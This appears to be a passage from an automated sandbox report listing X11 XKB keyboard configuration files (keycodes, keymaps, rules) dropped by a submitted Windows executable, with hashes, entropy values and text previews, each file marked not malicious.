SHA1:	4CDF2169F28678F0FA42270F0A922D5CFEFF1A6B
SHA-256:	FC712134DE609B50E0600C251D52A0FD2E3FFD5002215F8513F663C177773E3E
SHA-512:	D3B9EF0BD3DC9E3AAEF625FA18ED63FF8F6A199FCAAFB94C9815762E84365A51000F1B0F37BB12452E8C4D1CF69A82D8CAF941A6E58D7F4720BA77EE5E1CBFF2
Malicious:	false
Preview:	// translation from evdev scancodes to something resembling xfree86 keycodes...default xkb_keycodes "evdev" {..minimum = 8;..maximum = 255;.. # Added for pc105 compatibility. <LSGT> = 94;...<TLDE> = 49;..<AE01> = 10;..<AE02> = 11;..<AE03> = 12;..<AE04> = 13;..<AE05> = 14;..<AE06> = 15;..<AE07> = 16;..<AE08> = 17;..<AE09> = 18;..<AE10> = 19;..<AE11> = 20;..<AE12> = 21;..<BKSP> = 22;...<TAB> = 23;..<AD01> = 24;..<AD02> = 25;..<AD03> = 26;..<AD04> = 27;..<AD05> = 28;..<AD06> = 29;..<AD07> = 30;..<AD08> = 31;..<AD09> = 32;..<AD10> = 33;..<AD11> = 34;..<AD12> = 35;..<BKSL> = 51;..alias <AC12> = <BKSL>;..<RTRN> = 36;...<CAPS> = 66;..<AC01> = 38;..<AC02> = 39;..<AC03> = 40;..<AC04> = 41;..<AC05> = 42;..<AC06> = 43;..<AC07> = 44;..<AC08> = 45;..<AC09> = 46;..<AC10> = 47;..<AC11> = 48;...<LFSH> = 50;..<AB01> = 52;..<AB02> = 53;..<AB03> = 54;..<AB04> = 55;..<AB05> = 56;..<AB06> = 57;..<AB07> = 58;..<AB08> = 59;..<AB09> = 60;..<AB10> = 61;..<RTSH> = 62;...<LALT> = 64;..<LCTL> = 37;.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\keycodes\fujitsu

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3715
Entropy (8bit):	4.810142044432656
Encrypted:	false
SSDEEP:	96:zCzUqYQHKQgrTLCUjnFimBWT7TlBH+UcKKuC7F2f3l3Bfd2aMKQ30RLqMjqwS:8YQHHgrTr4y2mD
MD5:	DB53B9093054B119F1B6C72E17734A93
SHA1:	B721F986D06C10CF7DD56249A7B3D8CB5644215C
SHA-256:	8526CA756290D468E390F0C3B8B06C56068C1EA71C7D0F44BFFD95A2EFB66A43
SHA-512:	83F6E4054F2BE6ED9C42ECE72CEA6AA2BF396905DEA63AC5EFBE68DC7CAC8E177EADC99FE8ACFB2C70EC56D3C86A683477E661A8442E2B2B206C1EA2D030F6DB
Malicious:	false
Preview:	//.//Copyright 1996, 1998 The Open Group.//.//Permission to use, copy, modify, distribute, and sell this software and its.//documentation for any purpose is hereby granted without fee, provided that.//the above copyright notice appear in all copies and that both that.//copyright notice and this permission notice appear in supporting.//documentation..//.//The above copyright notice and this permission notice shall be.//included in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.//EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL THE OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR.//OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,.//ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR.//OTHER DEALINGS IN THE SOFTWARE..//.//Except as contained in this notice, the name of

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\keycodes\hp

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4971
Entropy (8bit):	4.6638588557393295
Encrypted:	false
SSDEEP:	96:zCzUqYQHKQgrTL3hfWnhnkP0hnBFU2ohNsnwOsDwLdIGda2fEVhq+hz7D+3w+3Lj:8YQHHgrTThWlInHM/TNCejmM9
MD5:	54B1A93E6E36FC91847340745D0E5F55
SHA1:	175516C382536AFBF1EF5C153F93D99D1FACE1A4
SHA-256:	2410B73208FDB5ADDBF85C6F245207C07B1E4F0F0D3771C7A297413205F93161
SHA-512:	BFC87901A87636118D0DE11B5EEC42D73CF281141ABA618CF68E1A2F0B396698CF9740673C9DDBF3C9AE98C9413D8B31653D26D97A656FE1B06E48AB89FF55E6
Malicious:	false
Preview:	//.//Copyright 1996, 1998 The Open Group.//.//Permission to use, copy, modify, distribute, and sell this software and its.//documentation for any purpose is hereby granted without fee, provided that.//the above copyright notice appear in all copies and that both that.//copyright notice and this permission notice appear in supporting.//documentation..//.//The above copyright notice and this permission notice shall be.//included in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.//EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL THE OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR.//OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,.//ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR.//OTHER DEALINGS IN THE SOFTWARE..//.//Except as contained in this notice, the name of

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\keycodes\ibm

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3146
Entropy (8bit):	4.959208162713198
Encrypted:	false
SSDEEP:	96:zCzUqYQHKQgrTLSz3StAUUFo/ygwy1nU/0C0pdbjIbG:8YQHHgrTemnWSpv
MD5:	A92A55358F70F361F1CA6ADD5B29CC43
SHA1:	171E9E08E53A0D8E321E82E66548B4C06B323BB0
SHA-256:	A49EB0EBDCD564A3050BD0DF6158F8586791E1BA9A2FC63FF8109E8B9B6A492F
SHA-512:	22FFE84584FE4691D882218BD9049DBACFE22FF8A4A179361FACE027F70C00B739CC42F27E9AD81C8D5C7AF66D8F01CE6EE3D2F9643E2A1A22128DCDBD38FEFD
Malicious:	false
Preview:	//.//Copyright 1996, 1998 The Open Group.//.//Permission to use, copy, modify, distribute, and sell this software and its.//documentation for any purpose is hereby granted without fee, provided that.//the above copyright notice appear in all copies and that both that.//copyright notice and this permission notice appear in supporting.//documentation..//.//The above copyright notice and this permission notice shall be.//included in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.//EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL THE OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR.//OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,.//ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR.//OTHER DEALINGS IN THE SOFTWARE..//.//Except as contained in this notice, the name of

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\keycodes\macintosh

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4466
Entropy (8bit):	5.065527435885509
Encrypted:	false
SSDEEP:	96:WPQ+UqYQHKigrhLWl0h2/39FV0ED60X+FINbvwGCsdHtS5BEjAWhPkr:6YQHdgrh6SQX7+yb1IU8WhPkr
MD5:	0627EA85F9569922C07E78E29490A2BD
SHA1:	D55335EAC2B004202D0C1ABB36003DEC1B7A1975
SHA-256:	4734B8DEC0AE60FB4922FFF38FF1F31C0D854EB685E26645130DB17153E36C48
SHA-512:	264B0418A7AAD8362514383C988FE03F1E9F56E81198928EA4A9E7435D65FEE0B30708EE27D0D39B1FF7048014BAB60029E8427EB486B147B7A55E132CF72AAD
Malicious:	false
Preview:	//.//Copyright (c) 1996 X Consortium.//.//Permission is hereby granted, free of charge, to any person obtaining.//a copy of this software and associated documentation files (the.//"Software"), to deal in the Software without restriction, including.//without limitation the rights to use, copy, modify, merge, publish,.//distribute, sublicense, and/or sell copies of the Software, and to.//permit persons to whom the Software is furnished to do so, subject to.//the following conditions:.//.//The above copyright notice and this permission notice shall be.//included in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.//EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL THE X CONSORTIUM BE LIABLE FOR ANY CLAIM, DAMAGES OR.//OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,.//ARISING FROM, OUT OF

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\keycodes\olpc

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	762
Entropy (8bit):	5.093229092677161
Encrypted:	false
SSDEEP:	12:irixgUd/ANwKOA3zUghQ+5zUAQ+9m6vnhmhokyWkttzR+yejWm6v8hmhokyWkGz4:rxz/RKv3zUgZzUA74W9kGzR+yePW89k8
MD5:	B887690D116C9C5A87DF6F0A11D59959
SHA1:	4DA2EFAD57AD7B7DCE6FF9A52F79D431F3C6F565
SHA-256:	B0CCC40066BA04BBA9AFD68A002ACE2B1ADEDDE2F16CAA044B7B5B1D2C167B26
SHA-512:	D3B67E6854F885DD3A11E40D7DFD02EDE6A8C2F325D31E8D155E4F7D104C202B7BBD9C0413584A7676E4BB4A593F91E50C1141C444A16403F3005A0A9A654CB5
Malicious:	false
Preview:	.// OLPC's mechanical keyboard moves several keys to the AA row. make.// them easier to write symbol files naturally...// see http://wiki.laptop.org/go/OLPC_English_Non-membrane_Keyboard.// and http://wiki.laptop.org/go/OLPC_Spanish_Non-membrane_Keyboard..default.xkb_keycodes "olpc" {.. alias <AE00> = <TLDE>;.// many OLPC keyboards don't put tilde there. alias <AC12> = <BKSL>;.// on model olpc, physical position of BKSL..};..default.xkb_keycodes "olpcm" {.. alias <AE00> = <TLDE>;.// many OLPC keyboards don't put tilde there. alias <AA02> = <BKSL>;.// on model olpcm, new physical position of BKSL. alias <AA06> = <AE12>;.// on model olpcm, new physical position of =+. alias <AA07> = <AC11>;.// on model olpcm, new physical position of '"..};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\keycodes\sgi_vndr\indigo

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	2311
Entropy (8bit):	4.307406175374079
Encrypted:	false
SSDEEP:	48:Ctpu/y8vMFbK1XDawiFg4YXCTha039wg05/B4t9DKnp4xxpBhIFWUQ:UpeyOSbK1zziFiA39wl4t9DScpBhIFW3
MD5:	F2A0C427912A87FB85045E9232B4058B
SHA1:	25E0BF15527B9D315933B2E752F759DB4A5F6245
SHA-256:	E7567E5FC5892EB1C23B82D3BCFC2A1E2C8EB6E499BAC24E641FF300A066CBE3
SHA-512:	42DDEB99F867986275B80285F43442F12C990FA632DB8E0C60A58370F45C9543D047C7A3E85C407AE5E20065908A605C1E46CC3E8C9D5653A84C10ED2409DF73
Malicious:	false
Preview:	default xkb_keycodes "pc101" {. minimum= 8;. maximum= 255;.. <TLDE> = 62;. <AE01> = 15;. <AE02> = 21;. <AE03> = 22;. <AE04> = 29;. <AE05> = 30;. <AE06> = 37;. <AE07> = 38;. <AE08> = 45;. <AE09> = 46;. <AE10> = 53;. <AE11> = 54;. <AE12> = 61;. <BKSP> = 68;.. <TAB> = 16;. <AD01> = 17;. <AD02> = 23;. <AD03> = 24;. <AD04> = 31;. <AD05> = 32;. <AD06> = 39;. <AD07> = 40;. <AD08> = 47;. <AD09> = 48;. <AD10> = 55;. <AD11> = 56;. <AD12> = 63;. <RTRN> = 58;.. <CAPS> = 11;. <AC01> = 18;. <AC02> = 19;. <AC03> = 25;. <AC04> = 26;. <AC05> = 33;. <AC06> = 34;. <AC07> = 41;. <AC08> = 42;. <AC09> = 49;. <AC10> = 50;. <AC11> = 57;.. <LFSH> = 13;. <AB01> = 27;. <AB02> = 28;. <AB03> = 35;. <AB04> = 36;. <AB05> = 43;. <AB06> = 44;. <AB07> = 51;. <AB08> = 52;. <AB09> = 59;. <AB10> = 60;. <RTSH> = 12;. <BKSL> = 64;.. <LALT> = 91;. <LCTL> =

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\keycodes\sgi_vndr\indy

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	3683
Entropy (8bit):	4.7206875271721636
Encrypted:	false
SSDEEP:	96:W7/EAe/nqywFGt86LbvnF2acMpdTYAVv+PpBhIFWUxxQlN/1g9EsFLktYQu:We9983pBhIFov+
MD5:	7D9F062B92B8E4B01BF4DBB2C5B6D16D
SHA1:	9D333CBC1A3092791E975E28CD7156FEB7D4FD8E
SHA-256:	A8E49F04133AFDBBCF18B1039F9B9FDD912729CE5D6DC89EACECDE2A8263A82C
SHA-512:	8D7F492A20B2FA018B7FF55C4073CA2017975D4296247CBF73BF5FA418E1E6AC265869A18C1F1C1A8FE258CF296D09DB01D181948681E9C6F349A66E9B3196EC
Malicious:	false
Preview:	default xkb_keycodes "universal" {. minimum= 8;. maximum= 255;. include "sgi_vndr/indy(pc105)". alternate <BKSL> = 91;. alternate <BKSL> = 100;. alternate <BKSL> = 101;.};.xkb_keycodes "pc101" {. minimum= 8;. maximum= 255;.. <TLDE> = 22;. <AE01> = 30;. <AE02> = 38;. <AE03> = 46;. <AE04> = 45;. <AE05> = 54;. <AE06> = 62;. <AE07> = 69;. <AE08> = 70;. <AE09> = 78;. <AE10> = 77;. <AE11> = 86;. <AE12> = 93;. <BKSP> = 110;.. <TAB> = 21;. <AD01> = 29;. <AD02> = 37;. <AD03> = 44;. <AD04> = 53;. <AD05> = 52;. <AD06> = 61;. <AD07> = 68;. <AD08> = 75;. <AD09> = 76;. <AD10> = 85;. <AD11> = 92;. <AD12> = 99;. <RTRN> = 98;.. <CAPS> = 28;. <AC01> = 36;. <AC02> = 35;. <AC03> = 43;. <AC04> = 51;. <AC05> = 60;. <AC06> = 59;. <AC07> = 67;. <AC08> = 74;. <AC09> = 83;. <AC10> = 84;. <AC11> = 90;.. <LFSH> = 26;. <AB01> = 34;. <AB02> = 42;. <AB03> = 41;.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\keycodes\sgi_vndr\iris

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	260
Entropy (8bit):	4.421623398957213
Encrypted:	false
SSDEEP:	6:N4o6OYVxA0aBWnEi3+Mim/Mi1+fMiUvXMizTzMQNMi3LWQNMixbN:CnOY8pBWEiG+1wU7bMwbWwxh
MD5:	AE27E8D91213AAA8B985AB2221327D0C
SHA1:	867FC38C030D5DF9F1E438FA1A754EBA4688F611
SHA-256:	CE07FDAEFBF422068D81AD11DB84E97E5293E623815707B1BFF37EE5089A38F8
SHA-512:	77298865945BE0AE94732FDA78D43857780110B5BD2084CF6B611191B526448BD89AC9E7FD9EDB1809DA0C1249347244FCC7CF440DC1093712C51B94CC5BD0DA
Malicious:	false
Preview:	default xkb_keycodes "iris" {. include "sgi_vndr/indigo(pc101)". indicator 1 = "L1";. indicator 2 = "L2";. indicator 3 = "L3";. indicator 4 = "L4";. indicator 5 = "Caps Lock";. indicator 6 = "Num Lock";. indicator 7 = "Scroll Lock";.};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\keycodes\sony

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2954
Entropy (8bit):	4.9140685724607165
Encrypted:	false
SSDEEP:	48:aritctUOUqYQHEssz4INW3Z2rmUaOYCFkzY3MOuYaFmwI6hH8B0ncbjv0Dort/KW:zCzUqYQHKQgrTLaY3VuYaFAecB0n2/Z5
MD5:	1E607126D546E1778116D037A425EB5D
SHA1:	A5100B3B57A33F4C176D12DB7263E483A7CA76AF
SHA-256:	D139CBF6038F8B03E870727A101AA89A7891BC745E92AAF15BA0BBB6007C084C
SHA-512:	1DAA2D1974344B2F7926C7FECEF202404E883FEA3BD5B65D28A49335F60EF6C8C1B381439C98F7A1954335BE1A8BE2EF9616443C6A5D3CB8A9D7723262AD9546
Malicious:	false
Preview:	//.//Copyright 1996, 1998 The Open Group.//.//Permission to use, copy, modify, distribute, and sell this software and its.//documentation for any purpose is hereby granted without fee, provided that.//the above copyright notice appear in all copies and that both that.//copyright notice and this permission notice appear in supporting.//documentation..//.//The above copyright notice and this permission notice shall be.//included in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.//EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL THE OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR.//OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,.//ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR.//OTHER DEALINGS IN THE SOFTWARE..//.//Except as contained in this notice, the name of

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\keycodes\sun

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5076
Entropy (8bit):	5.049648493139158
Encrypted:	false
SSDEEP:	96:PJCzUqYQHKQgrTLEesFNB4UgugU+b5fn4DpKGsSdCi+JzrM0wq0q+8t6JYhV:P2YQHHgrTL1dU96ziq+8vhV
MD5:	E355318B548108461E2111C6D1950B81
SHA1:	80D28FF9CA7557C2C49DBC2F2E73EF3E29707660
SHA-256:	82A6C5DD6B6A0804EFA2FC0F301705D86742198DB6773FE5DF926C2E53CFF3DD
SHA-512:	93FD9B2763F42C4BFF9FE0FC836229561596B9E8A690CFCE3693A24CA031B741547C27F10E57497E248907826150EABEF0D530758E97A75FF685D50D1E057B3C
Malicious:	false
Preview:	// Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved..//.//Copyright 1996, 1998 The Open Group.//.//Permission to use, copy, modify, distribute, and sell this software and its.//documentation for any purpose is hereby granted without fee, provided that.//the above copyright notice appear in all copies and that both that.//copyright notice and this permission notice appear in supporting.//documentation..//.//The above copyright notice and this permission notice shall be.//included in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.//EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL THE OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR.//OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,.//ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR.//OTHER

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\keycodes\xfree86

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8634
Entropy (8bit):	4.493268381065753
Encrypted:	false
SSDEEP:	96:UQp35w0OSF+Lofrl2HlFU75+VBQo7fQ9SgHYBjFroODlHNA0qGt5rOyDHFnNdz9+:14RuSv/BiKmdrr0BI3flF
MD5:	2341F8679297A75B74ED03C87FF49CD2
SHA1:	D5E80E839CA94518BC3AB34AA7F125DC28E438D3
SHA-256:	F800F14E308321809AED80F8A758611B15E4DB2912B0AFBE4E236D5B48E6CBB4
SHA-512:	DB42A0E9CFF13B8AACB71EE0720B730F2CCBAFB1DECAF1492AFDFC223EB9584BD7266151692DF39AD4F1F1F4073A24837FEFB172A3B5BC304D125C7CF6211D0B
Malicious:	false
Preview:	// "standard" XFree86 codes.// It seems that the "default" must be the first entry in the file...default xkb_keycodes "xfree86" {. include "xfree86(basic)". <BKSL> = 51;. alias <AC12> = <BKSL>;. <LSGT> = 94;.};..xkb_keycodes "basic" {.. minimum= 8;. maximum= 255;.. <TLDE> = 49;. alias <AE00> = <TLDE>;.// Some geometries use AE00. <AE01> = 10;. <AE02> = 11;. <AE03> = 12;. <AE04> = 13;. <AE05> = 14;. <AE06> = 15;. <AE07> = 16;. <AE08> = 17;. <AE09> = 18;. <AE10> = 19;. <AE11> = 20;. <AE12> = 21;. <BKSP> = 22;.. <TAB> = 23;. <AD01> = 24;. <AD02> = 25;. <AD03> = 26;. <AD04> = 27;. <AD05> = 28;. <AD06> = 29;. <AD07> = 30;. <AD08> = 31;. <AD09> = 32;. <AD10> = 33;. <AD11> = 34;. <AD12> = 35;. <RTRN> = 36;.. <CAPS> = 66;. <AC01> = 38;. <AC02> = 39;. <AC03> = 40;. <AC04> = 41;. <AC05> = 42;. <AC06> = 43;. <AC07> = 44;. <AC08>

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\keycodes\xfree98

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3204
Entropy (8bit):	4.831131236331321
Encrypted:	false
SSDEEP:	96:zCzUqYQHKQgrTLOU5zr90wa0FW8ww214dxb7+yHL:8YQHHgrT9Ao7L
MD5:	9FF6BE9792B215D59EB75ACC8129A918
SHA1:	4A76AFF415CDF6304703EF03CFEF055780BC8371
SHA-256:	CD7B8343937D98653B3A2F698FCC5DC3AFF3A6B523D2CCE5307D6EEAD5006602
SHA-512:	8233587E8D4103DBC658D1BD29C7B8B987799C457503D70DFE7D4529658E0FBEEDA66BA8802A4E3A1A8023E05390EF1A5C33F8A7F621B2F10D8EE749613AA755
Malicious:	false
Preview:	//.//Copyright 1996, 1998 The Open Group.//.//Permission to use, copy, modify, distribute, and sell this software and its.//documentation for any purpose is hereby granted without fee, provided that.//the above copyright notice appear in all copies and that both that.//copyright notice and this permission notice appear in supporting.//documentation..//.//The above copyright notice and this permission notice shall be.//included in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.//EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL THE OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR.//OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,.//ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR.//OTHER DEALINGS IN THE SOFTWARE..//.//Except as contained in this notice, the name of

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\keymap\xfree86

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	13320
Entropy (8bit):	4.885733916221049
Encrypted:	false
SSDEEP:	384:3pamaeaYqvihaiaaafala5aa9va8a03aJabavaLDaWagaRaoayaqoacaNBgBSafR:3pamaeaYrhaiaaafala5aa9va8a03aJW
MD5:	1F55DE0E0EE73D009A03CB39437A92EC
SHA1:	51CED71BC108D1E8CEF1128C5A36FB80DAD6F2F5
SHA-256:	9ABA10681F87AA3C63F2D8E4754FA15EED9C1B4876B9FA5620E95E5F0CD1AE6F
SHA-512:	FC5153FD0F2AAB2E96F0EEEF70EABAEC011A412EE4AC0DAD205CD2C8A7085F367F17FE9B4E3DDD49845CF536BC4C1B0512E9C8AEA8B38D29ECC8075DB80FC617
Malicious:	false
Preview:	// $XFree86: xc/programs/xkbcomp/keymap/xfree86,v 3.30 2003/04/03 16:34:49 dawes Exp $...default xkb_keymap "us" {. xkb_keycodes.{ include "xfree86"..};. xkb_types..{ include "default"..};. xkb_compatibility.{ include "default"..};. xkb_symbols..{ include "us(pc105)"..};. xkb_geometry.{ include "pc"...};.};..// "ar" addition by Arabeyes Team, <support@arabeyes.org>.xkb_keymap "ar" {. xkb_keycodes.{ include "xfree86"..};. xkb_types..{ include "default"..};. xkb_compatibility.{ include "default"..};. xkb_symbols..{ include "en_US(pc105)+ar".};. xkb_geometry.{ include "pc(pc102)"..};.};.xkb_keymap "be".{. xkb_keycodes.{ include "xfree86"..};. xkb_types..{ include "default"..};. xkb_compatibility.{ include "default"..};. xkb_symbols..{ include "en_US(pc105)+be".};. xkb_geometry .{ include "pc(pc102)"..};.};.xkb_keymap "bg".{. xkb_keycodes.{ include "xfree86"..};. xkb_types..{ include "default"..};. xkb_compatibility.{ include "default".

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\keymap\xfree98

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1580
Entropy (8bit):	5.392151624523476
Encrypted:	false
SSDEEP:	48:ZjritctUOUqYQHEssz4INW3Z2rmUaOYCFv+5BmlqGaoecCeP7l:gCzUqYQHKQgrTLisqSdCG
MD5:	46E587B1E1464BD881D2D062507EC325
SHA1:	76EF529D9CF6052BCCFA0CB4602B5C6C7701B34D
SHA-256:	3FDDA7D7671DD24DC62CC3BCCB2631A2CA29C4EA79A5DD6BA02618EFEBEC1E0D
SHA-512:	36325F4531797EA4383DD3B2ED5E6FD3CD18E5B52A3A3919122982BE0A452D572ADCD1A9A6C1A3B9B6EABD93EB310FD33EB2EFF90C9B7547E8BFBED69F920CB6
Malicious:	false
Preview:	// $Xorg: xfree98,v 1.4 2001/02/09 02:05:52 xorgcvs Exp $.//.//Copyright 1996, 1998 The Open Group.//.//Permission to use, copy, modify, distribute, and sell this software and its.//documentation for any purpose is hereby granted without fee, provided that.//the above copyright notice appear in all copies and that both that.//copyright notice and this permission notice appear in supporting.//documentation..//.//The above copyright notice and this permission notice shall be.//included in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.//EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL THE OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR.//OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,.//ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR.//OTHER DEALINGS IN THE SOFTW

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\rules\base

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	43358
Entropy (8bit):	5.027341059145783
Encrypted:	false
SSDEEP:	384:7vZhEtw5p0BRXhrIjyHwi/OK8IowYbAnO5xzgZ30EvAwOpfm5ZwKjiIt5bMGrRRt:7N5erd2TKDoynowbfHf8azVX0jo
MD5:	B55A67E89B0829A0CC7A42DDFDE79E74
SHA1:	13839B46FC91583E1BF62B63FEE4EB8DCE52793B
SHA-256:	D24951D2565837F78CB6BB08C4A218251F3215BB63A4B318BDB67DB68989CE60
SHA-512:	F549F2E294B9F0AE8AF8093FECE05AE69B5933281E3EC8190F9710EC9300C78FE33CD8559C25D0920AB27664FC2B939466081166614BA28F682306042198D8EB
Malicious:	false
Preview:	// DO NOT EDIT THIS FILE - IT WAS AUTOGENERATED BY merge.sh FROM rules/*.part.//.// Rules for resolving XKB components for use with XFree86.// Copyright 1996 by Joseph Moss.//.// 2002 Modifier: Ivan Pascal The XFree86 Project.//..// If you want non-latin layouts implicitly include the en_US layout.// uncomment lines below.//! $nonlatin = am ara ben bd bg bt by cs deva ge gh gr guj guru il \.// in ir iku jp kan kh kr la lao lk mk mm mn mv mal ori pk \.// ru scc sy syr tel th tj tam ua uz..// PC models.! $pcmodels = pc101 pc102 pc104 pc105..// Microsoft models (using MS geometry).! $msmodels = microsoft microsoft4000 microsoft7000 microsoftpro microsoftprousb microsoftprose..// Nokia devices and keyboards.! $nokiamodels = nokiasu8w nokiarx44 nokiarx51..// PC geometries - they have special geometry but symbols are mostly pc105.! $pcgeometries = latitude..// TypeMatrix geometries.! $tmgeometries = tm2020 tm2030PS2 tm2030USB tm2030USB-102 tm2030USB-106..//

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\rules\base.extras.xml

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	22569
Entropy (8bit):	4.237079628770464
Encrypted:	false
SSDEEP:	96:G4RxRAxh5KwpcKwpE3o7fQXmhQPgxGcMjc8l87DVzJ/:G+mxh5KzKB3o7fbhEgxGZcy87DVzJ/
MD5:	B4B89A1738D917DB74DBCC2575DEFC1E
SHA1:	A8B2F814A504808794FDF6BB5F26D55F669A27EB
SHA-256:	141B907029D095877F4C16412B02C8FF0090A655E674A88E12AB00AB0194A968
